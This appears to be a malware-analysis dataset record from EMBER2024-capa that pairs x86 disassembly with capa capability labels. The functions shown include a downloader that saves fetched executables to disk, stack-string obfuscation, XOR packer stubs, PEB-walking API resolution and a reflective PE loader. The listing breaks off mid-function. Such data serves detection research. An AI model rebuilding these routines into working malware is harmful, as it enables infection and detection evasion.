joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000b2f7
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
push str.CloseHandle
push str.KERNEL32.dll
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push str.WaitForSingleObject
push str.kernel32.dll
mov ebx, eax
call esi
push eax
call edi
mov esi, eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0xc], eax
mov al, byte [ebp + 0x20]
mov byte [ebp - 8], al
xor eax, eax
push eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push dword [ebp + 0x1c]
mov dword [ebp - 4], eax
lea eax, [ebp - 0x10]
push dword [ebp + 0x18]
push eax
push 0x1000b293
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.MSVCRT.dll__beginthreadex]
add esp, 0x18
mov edi, eax
push 0xffffffffffffffff
push dword [ebp - 4]
call esi
push dword [ebp - 4]
call ebx
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret

Function at 0x1000b382
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
push edi
nop
nop
nop
sub eax, 0
add eax, 0
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebx, str.KERNEL32.dll
push str.Process32First
push ebx
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push str.CreateToolhelp32Snapshot
push ebx
mov dword [ebp - 0xc], eax
call esi
push eax
call edi
push 0
push 2
call eax
push 0x128
mov dword [ebp - 4], eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
pop ecx
mov dword [ebp - 8], eax
push eax
mov dword [eax], 0x128
push dword [ebp - 4]
call dword [ebp - 0xc]
test eax, eax
je 0x1000b496
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x12
je 0x1000b496
push dword [ebp + 8]
call dword [sym.imp.MSVCRT.dll__strupr]
pop ecx
push eax
mov eax, dword [ebp - 8]
add eax, 0x24
push eax
call dword [sym.imp.MSVCRT.dll__strupr]
pop ecx
push eax
call dword [sym.imp.MSVCRT.dll_strstr]
pop ecx
test eax, eax
pop ecx
ja 0x1000b491
and byte [ebp - 0xf], 0
lea eax, [ebp - 0x1c]
push eax
push ebx
mov byte [ebp - 0x1c], 0x50
mov byte [ebp - 0x1b], 0x72
mov byte [ebp - 0x1a], 0x6f
mov byte [ebp - 0x19], 0x63
mov byte [ebp - 0x18], 0x65
mov byte [ebp - 0x17], 0x73
mov byte [ebp - 0x16], 0x73
mov byte [ebp - 0x15], 0x33
mov byte [ebp - 0x14], 0x32
mov byte [ebp - 0x13], 0x4e
mov byte [ebp - 0x12], 0x65
mov byte [ebp - 0x11], 0x78
mov byte [ebp - 0x10], 0x74
call esi
push eax
call edi
mov edi, dword [ebp - 8]
mov ebx, eax
push edi
push dword [ebp - 4]
call ebx
test eax, eax
je 0x1000b496
push dword [ebp + 8]
mov esi, dword [sym.imp.MSVCRT.dll__strupr]
call esi
pop ecx
push eax
lea eax, [edi + 0x24]
push eax
call esi
pop ecx
push eax
call dword [sym.imp.MSVCRT.dll_strstr]
pop ecx
test eax, eax
pop ecx
jbe 0x1000b466
push 1
pop eax
jmp 0x1000b498
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1000b65c
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x41c
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push esi
push str.InternetReadFile
push str.wininet.dll
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
mov dword [ebp - 0x14], eax
xor esi, esi
pop eax
push esi
push esi
push esi
push esi
push str.Mozilla_4.0__compatible_
mov dword [ebp - 4], esi
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x10], eax
mov dword [ebp - 8], eax
call dword [0x10019bfc]
cmp eax, esi
mov dword [ebp - 0x18], eax
je 0x1000b6c3
push esi
push 0x80000000
push esi
push esi
push dword [ebp + 8]
push eax
call dword [0x10019bf4]
cmp eax, esi
mov dword [ebp - 0xc], eax
jne 0x1000b6ca
xor al, al
jmp 0x1000b775
push edi
push esi
push esi
push 2
push esi
push esi
push 0x40000000
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [ebp + 8], eax
je 0x1000b75c
mov edi, 0x400
push edi
lea eax, [ebp - 0x41c]
push esi
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x41c]
push edi
push eax
push dword [ebp - 0xc]
call dword [ebp - 0x14]
cmp dword [ebp - 0x10], esi
je 0x1000b71f
cmp word [ebp - 0x41c], 0x5a4d
jne 0x1000b741
lea eax, [ebp - 0x1c]
push esi
push eax
lea eax, [ebp - 0x41c]
push dword [ebp - 4]
mov dword [ebp - 0x10], esi
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_WriteFile]
cmp dword [ebp - 4], esi
jbe 0x1000b744
jmp 0x1000b6ec
mov dword [ebp - 8], esi
push str.CloseHandle
push str.KERNEL32.dll
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push dword [ebp + 8]
call eax
push dword [ebp - 0xc]
mov edi, dword [0x10019bf8]
call edi
push dword [ebp - 0x18]
call edi
xor eax, eax
cmp dword [ebp - 8], esi
pop edi
setne al
pop esi
pop ebx
leave
ret

Function at 0x1000ba2d
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
xor ebx, ebx
push esi
push ebx
mov esi, ecx
push ebx
push ebx
push ebx
mov dword [esi], 0x10013294
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [esi + 4], eax
mov dword [esi + 8], ebx
mov dword [esi + 0xc], ebx
call fcn.1000b7cb
test al, al
je 0x1000baca
cmp byte [0x1001aaac], bl
jne 0x1000baca
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push 0x80000000
push 0x10019f78
push str.32770
push ebx
mov byte [ebp - 0xc], 0x70
mov byte [ebp - 0xb], 0x61
mov byte [ebp - 0xa], 0x43
mov byte [ebp - 9], 0x6f
mov byte [ebp - 8], 0x65
mov byte [ebp - 7], 0x64
mov byte [ebp - 6], 0x69
mov byte [ebp - 5], 0x56
mov byte [ebp - 4], 0x43
mov byte [ebp - 3], bl
call dword [0x10019bec]
push ebx
push eax
push ebx
push ebx
mov dword [esi + 0x10], eax
push ebx
push ebx
lea eax, [ebp - 0xc]
push 0x50000000
push eax
call dword [sym.imp.MSVCRT.dll__strrev]
pop ecx
push eax
call fcn.1001296a
mov dword [esi + 0x14], eax
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x1000beab
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov eax, 0x10012fca
call fcn.10011cd0
sub esp, 0x18
push ebx
push esi
mov esi, ecx
call fcn.1000b7cb
test al, al
je 0x1000bf3f
push 0x18
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
pop ecx
mov ecx, eax
mov dword [ebp - 0x14], ecx
xor ebx, ebx
cmp ecx, ebx
mov dword [ebp - 4], ebx
je 0x1000bee4
call fcn.1000ba2d
mov ecx, eax
jmp 0x1000bee6
xor ecx, ecx
mov eax, dword [esi + 0x20]
or dword [ebp - 4], 0xffffffff
cmp eax, ebx
mov dword [esi + 0x14], ecx
je 0x1000beff
mov edx, dword [esi + 0x24]
cmp edx, ebx
je 0x1000beff
push edx
push eax
jmp 0x1000bf33
push 0x120
push 0x160
call fcn.1000b861
cmp al, bl
mov byte [ebp - 0xd], al
jne 0x1000bf43
mov ecx, dword [esi + 0x14]
push 0x90
push 0xb0
call fcn.1000b861
cmp al, bl
mov byte [ebp - 0xd], al
jne 0x1000bf43
mov ecx, dword [esi + 0x14]
push ebx
push ebx
call fcn.1000b861
cmp al, bl
mov byte [ebp - 0xd], al
jne 0x1000bf43
xor al, al
jmp 0x1000bfc1
push edi
mov dword [ebp - 0x24], 0x3336324d
mov dword [ebp - 0x20], 0x32335649
mov dword [ebp - 0x1c], 0x3234504d
mov dword [ebp - 0x18], 0x64697663
mov dword [ebp - 0x14], ebx
lea edi, [ebp - 0x24]
push 0x78
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
cmp eax, ebx
pop ecx
je 0x1000bf7d
mov dword [eax], 0x10013298
mov dword [eax + 0x48], ebx
jmp 0x1000bf7f
xor eax, eax
push dword [edi]
mov ecx, dword [esi + 0x14]
mov dword [esi + 0x18], eax
push dword [ecx + 8]
mov ecx, eax
call fcn.1000bfcf
test al, al
jne 0x1000bfb3
mov ecx, dword [esi + 0x18]
cmp ecx, ebx
je 0x1000bfa2
mov eax, dword [ecx]
push 1
call dword [eax]
inc dword [ebp - 0x14]
add edi, 4
cmp dword [ebp - 0x14], 4
mov dword [esi + 0x18], ebx
jb 0x1000bf66
jmp 0x1000bfbd
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp + eax*4 - 0x24]
mov dword [esi + 0x1c], eax
mov al, byte [ebp - 0xd]
pop edi
mov ecx, dword [ebp - 0xc]
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret
Function at 0x4068db
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x23c
push esi
mov esi, 0x104
lea eax, [ebp - 0x23c]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
cmp eax, esi
pop esi
jbe 0x4068ff
xor eax, eax
test eax, eax
je 0x406912
cmp word [ebp + eax*2 - 0x23e], 0x5c
je 0x406912
xor ecx, ecx
jmp 0x406915
xor ecx, ecx
inc ecx
push dword [ebp + 8]
lea ecx, [ecx*2 + 0x40a014]
lea eax, [ebp + eax*2 - 0x23c]
push ecx
push str._s_S.dll
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea eax, [ebp - 0x23c]
push 8
push 0
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
leave
ret 4

Function at 0x406a38
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x43110c], 0
push esi
jne 0x406a6f
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x406a49
mov dword [ecx*4 + 0x431108], eax
inc ecx
cmp ecx, 0x100
jl 0x406a44
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x406aa0
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x431108]
xor eax, esi
inc ecx
dec edx
jne 0x406a82
pop edi
not eax
pop esi
ret 0xc

Function at 0x432002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
mov eax, section..text
nop
nop
nop
nop
push 4
nop
nop
nop
nop
pop edi
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
nop
je 0x432072
nop
mov ebx, 0x40c7d0
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x6030779
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x432060
nop
nop
nop
mov eax, section..data
nop
cmp eax, 0
nop
nop
nop
je 0x4320d2
nop
nop
nop
nop
nop
mov ebx, 0x42f314
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0x10456f54
nop
nop
nop
xor dword [eax], esi
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
nop
loop 0x4320c0
nop
nop
nop
nop
popal
nop
nop
jmp 0x431219
Function at 0x40816b
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x417400]
jne 0x408175
repz ret
jmp fcn.0040df0a

Function at 0x40af91
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x417400]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00406490
and dword [ebp - 0x14], 0
cmp dword [0x43a474], 0
mov dword [ebp - 0x18], eax
jne 0x40b044
push 0x402228
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x40b0ec
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x40221c
push ebx
call edi
test eax, eax
je 0x40b0ec
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push 0x40220c
push ebx
mov dword [0x43a474], eax
call edi
push eax
call esi
push 0x4021f8
push ebx
mov dword [0x43a478], eax
call edi
push eax
call esi
push 0x4021dc
push ebx
mov dword [0x43a47c], eax
call edi
push eax
call esi
mov dword [0x43a484], eax
test eax, eax
je 0x40b044
push 0x4021c4
push ebx
call edi
push eax
call esi
mov dword [0x43a480], eax
mov eax, dword [0x43a480]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x40b09d
cmp dword [0x43a484], ecx
je 0x40b09d
push eax
call esi
push dword [0x43a484]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x40b09d
test ebx, ebx
je 0x40b09d
call edi
test eax, eax
je 0x40b094
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x40b094
test byte [ebp - 8], 1
jne 0x40b09d
or dword [ebp + 0x10], 0x200000
jmp 0x40b0d0
mov eax, dword [0x43a478]
cmp eax, dword [ebp - 0x18]
je 0x40b0d0
push eax
call esi
test eax, eax
je 0x40b0d0
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x40b0d0
mov eax, dword [0x43a47c]
cmp eax, dword [ebp - 0x18]
je 0x40b0d0
push eax
call esi
test eax, eax
je 0x40b0d0
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x43a474]
call esi
test eax, eax
je 0x40b0ec
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x40b0ee
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040816b
leave
ret
Function at 0x414a10
Capabilities:
Access the windows event log
Connect pipe
Delete directory
Delete file
Get common file path
Get uefi variable
Read pipe
Write pipe

Disassembly:
mov eax, 0x1004
call fcn.0040ede0
cmp dword [0x2b63fd4], 0x37
jne 0x414adc
push 0x4035a0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetLocaleInfoW]
push 0
lea eax, [esp + 0x808]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push 0
lea ecx, [esp + 4]
push ecx
push 0
lea edx, [esp + 0x10]
push edx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CallNamedPipeA]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x403564
push 0x40358c
call dword [sym.imp.KERNEL32.dll_WriteProfileSectionA]
push 0x403620
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
push 0
lea eax, [esp + 0x408]
push eax
push 0x40363c
push 0x403668
call dword [sym.imp.KERNEL32.dll_GetFirmwareEnvironmentVariableW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetDevicePowerState]
push 0
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_ReportEventW]
push 0
lea ecx, [esp + 0xc08]
push ecx
push 0x4036b4
call dword [sym.imp.KERNEL32.dll_FindFirstVolumeMountPointA]
mov edx, dword [0x2b643e8]
mov ecx, dword [0x2b63ab8]
mov al, byte [edx + esi + 0x38d6]
mov byte [ecx + esi], al
add esp, 0x1004
ret
Function at 0x415130
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, dword [0x2b63fd4]
sub esp, 0x884
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_BuildCommDCBAndTimeoutsW]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetDateFormatW]
mov ebp, 0x2443831
cmp eax, 0x47
jne 0x4151b6
xor eax, eax
mov dword [esp + 0x64], eax
mov dword [esp + 0x68], eax
mov dword [esp + 0x6c], eax
mov dword [esp + 0x70], eax
lea eax, [esp + 0x60]
push eax
lea ecx, [esp + 0x78]
push ecx
push 0x403970
mov dword [esp + 0x6c], 0
call esi
xor eax, eax
push eax
mov dword [esp + 0x56], eax
mov dword [esp + 0x5a], eax
mov dword [esp + 0x5e], eax
mov word [esp + 0x62], ax
lea eax, [esp + 0x94]
push eax
push 0x4039b0
xor edx, edx
lea ecx, [esp + 0x5c]
push ecx
push edx
push edx
mov word [esp + 0x68], dx
call edi
dec ebp
mov eax, dword [0x439b30]
mov dword [0x2b63fd4], eax
jne 0x415155
mov dword [esp + 0x20], 0x764d11c7
mov dword [esp + 0x4c], 0x26b44f20
mov dword [esp + 0x24], 0x1f33c7de
mov dword [esp + 0x10], 0x2e56cff9
mov dword [esp + 0x28], 0x6cde8df8
mov dword [esp + 0x14], 0x796abd53
mov dword [esp + 0x34], 0x3ce56ad4
mov dword [esp + 0x1c], 0x581868fc
mov dword [esp + 0x18], 0xc596c70
mov dword [esp + 0x3c], 0x6d5e9115
mov dword [esp + 0x30], 0x22f372d9
mov dword [esp + 0x40], 0x2ad541d0
mov dword [esp + 0x38], 0x7a5f7c43
mov dword [esp + 0x2c], 0x28d520e
mov dword [esp + 0x48], 0x73f3bc07
mov dword [esp + 0x44], 0x51f578e1
add dword [esp + 0x4c], 0x73e38130
mov eax, 0x3a9c3a87
mul dword [esp + 0x20]
mov eax, dword [esp + 0x20]
add dword [esp + 0x24], 0x6b053f58
add dword [esp + 0x20], 0x2818faf9
add dword [esp + 0x4c], 0x3ab2fc3
sub dword [esp + 0x20], 0x30ad2d47
sub dword [esp + 0x20], 0x4442fc9b
sub dword [esp + 0x28], 0x2285667
add dword [esp + 0x4c], 0x262c99c6
sub dword [esp + 0x14], 0x4dc74448
mov eax, 0x53cf4e1b
mul dword [esp + 0x24]
mov eax, dword [esp + 0x24]
add dword [esp + 0x24], 0x1b067f32
mov eax, 0x67698c83
mul dword [esp + 0x14]
mov eax, dword [esp + 0x14]
sub dword [esp + 0x28], 0x7674af1e
mov eax, 0x173863dd
mul dword [esp + 0x28]
mov eax, dword [esp + 0x28]
mov eax, 0x3d786fdd
mul dword [esp + 0x3c]
mov eax, dword [esp + 0x3c]
mov eax, 0x38471b91
mul dword [esp + 0x14]
mov eax, dword [esp + 0x14]
mov eax, 0x45f07edf
mul dword [esp + 0x4c]
mov eax, dword [esp + 0x4c]
add dword [esp + 0x18], 0x6fea1ecd
sub dword [esp + 0x34], 0x32f1f16e
add dword [esp + 0x34], 0x6e380599
sub dword [esp + 0x18], 0x3ca08c1e
add dword [esp + 0x30], 0x154e8e1
add dword [esp + 0x14], 0x53bb032d
sub dword [esp + 0x14], 0x11166d6c
sub dword [esp + 0x18], 0x2a6a1594
add dword [esp + 0x14], 0x4fb1fe05
mov eax, 0x4b3ce8e6
mul dword [esp + 0x34]
mov eax, dword [esp + 0x34]
add dword [esp + 0x3c], 0x1bc84bb6
sub dword [esp + 0x30], 0x687c0c2b
add dword [esp + 0x48], 0x36e578c2
sub dword [esp + 0x10], 0x7b5e58ec
mov eax, 0x38d0a1fb
mul dword [esp + 0x48]
mov eax, dword [esp + 0x48]
sub dword [esp + 0x40], 0x15793cf4
mov edx, dword [0x439b24]
mov dword [0x2b643e8], edx
call fcn.00414d70
pop edi
xor eax, eax
pop esi
pop ebp
mov esp, ebp
pop ebp
ret 0x10
Function at 0x4011c6
Capabilities:
Access peb ldr_data
Packed with generic packer

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
push ebx
push esi
push edi
call fcn.0040114f
call section..text
movzx eax, al
cmp eax, 1
jne 0x4011e9
push 5
pop eax
jmp 0x4013b8
and dword [ebp - 0x40], 0
and dword [ebp - 0xc], 0
and dword [ebp - 0x30], 0
and dword [ebp - 0x14], 0
and dword [ebp - 0x24], 0
and dword [ebp - 0x44], 0
and dword [ebp - 8], 0
and dword [ebp - 0x18], 0
and dword [ebp - 0x1c], 0
and dword [ebp - 0x20], 0
mov dword [ebp - 0x2c], 0x330
pushal
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov ebx, eax
add ebx, 0xc
mov eax, dword [eax + 0xc]
mov edi, dword [eax + 0x30]
mov ecx, 0x18
xor esi, esi
xor ebx, ebx
add bl, byte [edi + ecx - 1]
add esi, ebx
loop 0x401234
cmp esi, dword [ebp - 0x2c]
je 0x401249
mov eax, dword [eax]
cmp eax, ebx
jne 0x40122a
mov eax, dword [eax + 0x18]
mov dword [ebp - 8], eax
nop
popal
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0xc], eax
push 0x42fb44
push dword [0x42fb28]
push 0x42fb2c
push dword [0x42fb44]
push 0x42fb48
call fcn.0040102b
add esp, 0x14
push 0x42fb48
push dword [ebp - 8]
call dword [ebp - 0xc]
mov dword [ebp - 0x30], eax
push 0x42fb64
push dword [0x42fb28]
push 0x42fb2c
push dword [0x42fb64]
push 0x42fb68
call fcn.0040102b
add esp, 0x14
push 0x42fb68
push dword [ebp - 8]
call dword [ebp - 0xc]
mov dword [ebp - 0x14], eax
push 0x42fb84
push dword [0x42fb28]
push 0x42fb2c
push dword [0x42fb84]
push 0x42fb88
call fcn.0040102b
add esp, 0x14
push 0x42fb88
push dword [ebp - 8]
call dword [ebp - 0xc]
mov dword [ebp - 0x24], eax
mov eax, dword [0x404040]
mov dword [ebp - 0x10], eax
push 4
push 0x1000
mov eax, dword [ebp - 0x10]
inc eax
push eax
push 0
call dword [ebp - 0x14]
mov dword [ebp - 4], eax
mov dword [ebp - 0x18], 0x404048
mov eax, dword [ebp - 4]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x20], eax
mov esi, dword [ebp - 0x18]
mov edi, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x20]
rep movsb byte es:[edi], byte [esi]
lea eax, [ebp - 0x10]
push eax
push dword [section..data]
push 0x404004
push dword [ebp - 0x10]
push dword [ebp - 4]
call fcn.0040102b
add esp, 0x14
mov dword [ebp - 4], eax
and dword [ebp - 0x34], 0
lea eax, [ebp - 0x34]
push eax
push 0x20
push dword [0x404040]
push dword [ebp - 4]
call dword [ebp - 0x24]
push 0x404724
push dword [0x404044]
push 0x4046e8
push dword [0x404724]
push 0x404728
call fcn.0040102b
add esp, 0x14
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 4]
mov dword [0x42fbdc], eax
and dword [ebp - 0x28], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp + 0xc]
mov eax, dword [ecx + eax]
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x38], 1
push dword [ebp - 0x28]
push dword [ebp - 0x38]
push dword [ebp - 0x3c]
call dword [0x42fbdc]
add esp, 0xc
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1001350a
Capabilities:
Compare security identifiers

Disassembly:
push ebp
mov ebp, esp
push ecx
movzx eax, byte [ebp + 8]
test eax, eax
je 0x10013522
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_EqualSid]
jmp 0x1001353d
mov byte [ebp - 1], 0
movzx eax, byte [ebp - 1]
test eax, eax
je 0x1001353d
push 0x1311
push 0
push 0
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
mov esp, ebp
pop ebp
ret
Function at 0x1001b9bf
Capabilities:
Compare security identifiers

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_EqualSid]
pop ebp
ret
Function at 0x1002701d
Capabilities:
Compare security identifiers

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
movzx eax, byte [ebp + 0xc]
test eax, eax
je 0x1002703b
push 0x4e
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDlgItem]
jmp 0x1002705b
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
movzx eax, byte [eax]
test eax, eax
je 0x1002705b
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_EqualSid]
mov esp, ebp
pop ebp
ret
Function at 0x1002c3e7
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
movzx eax, byte [ebp + 8]
test eax, eax
je 0x1002c42d
mov eax, dword [ebp + 0x10]
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp - 8], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 4]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 8]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x14]
mov ecx, dword [ecx]
add ecx, dword [eax + 0x3c]
mov eax, dword [ebp - 0x18]
mov dword [eax], ecx
jmp 0x1002c43a
push 0xfbf
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov esp, ebp
pop ebp
ret

Function at 0x1002c6ab
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
and dword [ebp - 4], 0
mov eax, dword [ebp + 8]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
movzx eax, word [eax]
cmp eax, 0x5a4d
je 0x1002c6cf
xor eax, eax
jmp 0x1002c7f9
lea eax, [ebp + 8]
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x10]
push eax
push 1
call fcn.1002c3e7
add esp, 0x10
mov eax, dword [ebp - 8]
cmp dword [eax], 0x4550
je 0x1002c6f7
xor eax, eax
jmp 0x1002c7f9
push 0x37a
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0xc]
push eax
push 0x324a
push 1
call fcn.1002c43e
add esp, 0x14
cmp dword [ebp - 0xc], 0
jne 0x1002c720
xor eax, eax
jmp 0x1002c7f9
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 8]
push eax
push 1
call fcn.1002c4b1
add esp, 0x18
push 0xaef
push 1
lea eax, [ebp + 8]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 8]
push eax
call fcn.1002c54c
add esp, 0x14
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0xc]
sub ecx, dword [eax + 0x34]
mov dword [ebp - 0x14], ecx
je 0x1002c77e
push 1
lea eax, [ebp - 0x14]
push eax
push 0x603c
lea eax, [ebp - 4]
push eax
call fcn.1002c5c6
add esp, 0x10
push dword [ebp - 4]
call fcn.1002b7f3
pop ecx
test eax, eax
jne 0x1002c78f
xor eax, eax
jmp 0x1002c7f9
lea eax, [ebp - 4]
push eax
push 1
call fcn.1002c636
pop ecx
pop ecx
mov eax, dword [ebp - 4]
mov eax, dword [eax]
cmp dword [eax + 0x28], 0
je 0x1002c7e1
mov eax, dword [ebp - 4]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xc]
add ecx, dword [eax + 0x28]
mov dword [ebp - 0x18], ecx
jne 0x1002c7bb
xor eax, eax
jmp 0x1002c7f9
push 0
push 1
push 0xdeadbeef
call dword [ebp - 0x18]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
jne 0x1002c7d4
xor eax, eax
jmp 0x1002c7f9
lea eax, [ebp - 4]
push eax
push 1
call fcn.1002c676
pop ecx
pop ecx
mov eax, dword [ebp - 4]
cmp dword [eax + 0x10], 0
je 0x1002c7f2
mov eax, dword [ebp - 4]
mov dword [ebp - 0x1c], eax
jmp 0x1002c7f6
and dword [ebp - 0x1c], 0
mov eax, dword [ebp - 0x1c]
mov esp, ebp
pop ebp
ret
Function at 0x1003f36c
Capabilities:
Compare security identifiers

Disassembly:
push ebp
mov ebp, esp
movzx eax, byte [ebp + 8]
test eax, eax
je 0x1003f383
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_EqualSid]
jmp 0x1003f38b
push 0
